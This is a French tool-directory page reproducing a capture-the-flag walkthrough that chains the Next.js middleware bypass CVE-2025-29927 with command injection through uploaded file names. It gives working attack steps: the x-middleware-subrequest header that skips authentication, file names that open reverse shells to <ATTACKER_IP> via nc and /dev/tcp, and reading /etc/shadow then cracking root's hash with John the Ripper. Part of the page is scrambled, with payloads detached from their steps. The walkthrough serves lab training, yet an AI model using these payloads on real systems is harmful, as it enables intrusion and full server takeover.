Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-29927-Proof-of-Concept — Défi Capture the Flag : CVE-2025-29927 combiné à une vulnérabilité d'injection de commandes | Kitploit
Outils/GitHubGitHub/si-ni/cve-2025-29927-proof-of-concept
Cassage de Mots de PasseEscalade de PrivilègesAnalyse des VulnérabilitésExploitation d'Applications WebCTFCommandement et ContrôleApprentissage et Éducation
GitHubsi-ni/cve-2025-29927-proof-of-concept

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-29927-Proof-of-Concept

Défi Capture the Flag : CVE-2025-29927 combiné à une vulnérabilité d'injection de commandes

Voir le dépôt
il y a 6 moisPas encore vérifié

Procédure pas à pas

Étape 1 (5 min)

Indice Quels services réseau sont exposés par la cible ?

— — —

Solution
root@kitploit:~

    kali@kali:~$ nmap <TARGET_IP>
    kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
  

Étape 2 (5 min)

Indice 1 La page d'accueil ne révèle qu'une page de connexion, mais les serveurs web exposent souvent des chemins supplémentaires.
Indice 2 Essayez d'utiliser un outil de brute force de répertoires tel que Gobuster ou DirBuster.

— — —

Solution
root@kitploit:~

    kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
  
root@kitploit:~

    ===============================================================
    Starting gobuster in directory enumeration mode
    ===============================================================
    api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
    apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
    cgi-bin/             (Status: 308) [Size: 8] [--> /cgi-bin]
    dashboard            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
    favicon.ico          (Status: 200) [Size: 25931]
    login                (Status: 200) [Size: 6252]
    Progress: 4613 / 4613 (100.00%)
    ===============================================================
    Finished
    ===============================================================
  

Étape 3 (20 min)

Indice 1 La page /dashboard redirige vers /login. Pouvez-vous trouver une information sur la page de connexion qui vous permettra de contourner la redirection ?
image
Indice 2 Pouvez-vous trouver quelque chose pour Next.js version 15.2.2 ?
Indice 3 Renseignez-vous sur la CVE-2025-29927. Utilisez le proxy de Burp Suite pour intercepter la requête et manipuler les en-têtes de requête avant de la transmettre.

— — —

Solution

Contexte

De nombreuses applications web protègent des routes sensibles (par exemple /dashboard) à l'aide d'un middleware. Le middleware vérifie la requête, valide les cookies de session et confirme les permissions de l'utilisateur. Si les vérifications échouent, le middleware redirige généralement l'utilisateur vers /login.

Mécanisme de la vulnérabilité

La CVE-2025-29927 est un défaut de conception dans le traitement du middleware de Next.js. Elle permet à un attaquant de contourner entièrement la protection du middleware en exploitant l'en-tête x-middleware-subrequest. Next.js utilise cet en-tête en interne pour empêcher les boucles infinies de middleware. Lorsqu'une requête est traitée, la fonction runMiddleware vérifie les en-têtes de la requête :
  • Si x-middleware-subrequest est présent
  • et que sa valeur contient le nom du middleware
  • alors Next.js ignore l'exécution du middleware et transmet la requête directement
Cela est censé être une optimisation interne, mais le défaut est que les utilisateurs externes peuvent également définir cet en-tête.

Le code vulnérable

root@kitploit:~

    const subreq = params.request.headers["x-middleware-subrequest"];
    const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
    if (subrequests.includes(middlewareInfo.name)) {
      result = {
        response: NextResponse.next(),
        waitUntil: Promise.resolve(),
      }
      continue;
    }
  
Next.js a introduit une profondeur de récursivité maximale pour l'exécution du middleware. Cela a été implémenté pour empêcher les boucles infinies, mais n'affecte pas la vulnérabilité. En utilisant cet en-tête, nous disons au middleware : « Ceci est déjà une requête générée par le middleware — ne réexécutez pas le middleware. » Next.js supprime désormais l'en-tête de toutes les requêtes externes entrantes avant l'exécution du middleware. L'en-tête n'est considéré comme fiable que lorsqu'il est créé dans l'environnement d'exécution de Next.js lors d'un chaînage légitime de middleware. Concrètement, la valeur de x-middleware-subrequest est désormais validée par rapport à une chaîne hexadécimale générée aléatoirement, garantissant que seules les requêtes de session internes légitimes passent les contrôles d'autorisation. Ainsi, même si un attaquant envoie l'en-tête, Next.js peut désormais faire la différence entre une véritable sous-requête interne (qui porte le jeton aléatoire correct) et une sous-requête usurpée provenant d'un attaquant externe.

Étape 4 (15 min)

Indice 1 Les téléversements de fichiers sont également protégés par le middleware, vous devez donc également envoyer l'en-tête de l'étape 3 avec chaque requête.
Indice 2 Les entrées utilisateur représentent toujours un risque élevé. Quoi d'autre, en dehors du contenu du fichier, est considéré ici comme une entrée utilisateur ? Et pouvez-vous trouver une information sur la page qui révèle comment l'image est traitée ?
Indice 3 Essayez quelques noms de fichiers malveillants. https://www.revshells.com/

— — —

Solution

Explication

root@kitploit:~

    const filename = file.name; // VULNERABLE: No sanitization!
    const sanitizedFilename = filename.replace(/[><&|;$\\:"'!\*\?\#\/]/g, '_')
    const filepath = join(uploadsDir, sanitizedFilename);
    await writeFile(filepath, buffer);
    
const command = `convert ${filepath} -resize 100x100 ${join(uploadsDir, 'resized_' + filename)}`;
return new Promise((resolve) => { exec(command, { shell: '/bin/bash', timeout: 0, maxBuffer: 1024*1024*10 }, (error, stdout, stderr) => { ...
Le nom de fichier d'origine est contrôlé par l'utilisateur et peut contenir des caractères malveillants. Le développeur supprime certains caractères dangereux (liste noire plutôt que liste blanche). La commande convert est exécutée à l'aide de exec(), et le nom de fichier d'origine (entrée utilisateur) est directement inséré dans la commande shell. Une correction pourrait consister à utiliser des noms de fichiers générés aléatoirement au lieu des noms fournis par l'utilisateur et à utiliser une API sécurisée qui évite le shell.

Exploitation

root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
  
noms de fichiers malveillants : Le flag se trouve dans :

Bonus (5 min)

Indice 1 Quels droits sudo le webuser possède-t-il ?
Indice 2 Des outils comme John the Ripper ou Hashcat pourraient vous aider. Décompressez le fichier rockyou.txt.gz avec la commande gzip -d /usr/share/wordlists/rockyou.txt.gz.

— — —

Solution
root@kitploit:~

    target@target:~$ sudo -l
    Matching Defaults entries for webuser on photoresizer:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User webuser may run the following commands on photoresizer:
      (ALL) NOPASSWD: /usr/bin/cat /etc/shadow
  
root@kitploit:~

    target@target:~$ sudo cat /etc/shadow
    root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::
  
root@kitploit:~

    kali@kali:~$ echo 'root:$y$j9T$TFel.0zggnQz2yEp.7MBC1$iIt1wXquUnbUizBTgQdtec33PdU1a1L7ReOD2cIfij0:20481:0:99999:7:::' > hash.txt
    kali@kali:~$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    rockyou          (root)     
    1g 0:00:00:00 DONE (2026-02-01 05:42) 1.639g/s 157.3p/s 157.3c/s 157.3C/s 123456..yellow
  
root@kitploit:~

    target@target:~$ su - root
  
Le flag se trouve dans /root :
root@kitploit:~

    FLAG{Pr1v1l3g3_Esc4l4t10n_R00T_C0mpr0m1s3d}
  
Télécharger l’outil

Pour les versions 13.2.0 et ultérieures

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

image
image

Correctif

x-middleware-subrequest
root@kitploit:~

    image.jpeg; nc -c sh <ATTACKER_IP> 4000 #
    image.jpeg; sh -i >& /dev/tcp/<ATTACKER_IP>/4000 0>&1 #
  
image
root@kitploit:~

    kali@kali:~$ nc -lvnp 4000
    listening on [any] 4000 ...
    connect to [<ATTACKER_IP>] from (UNKNOWN) [<TARGET_IP>] 48056
  
/home/webuser
root@kitploit:~

    FLAG{C0mmand_Inj3cti0n_Pwn3d_W3bUs3r}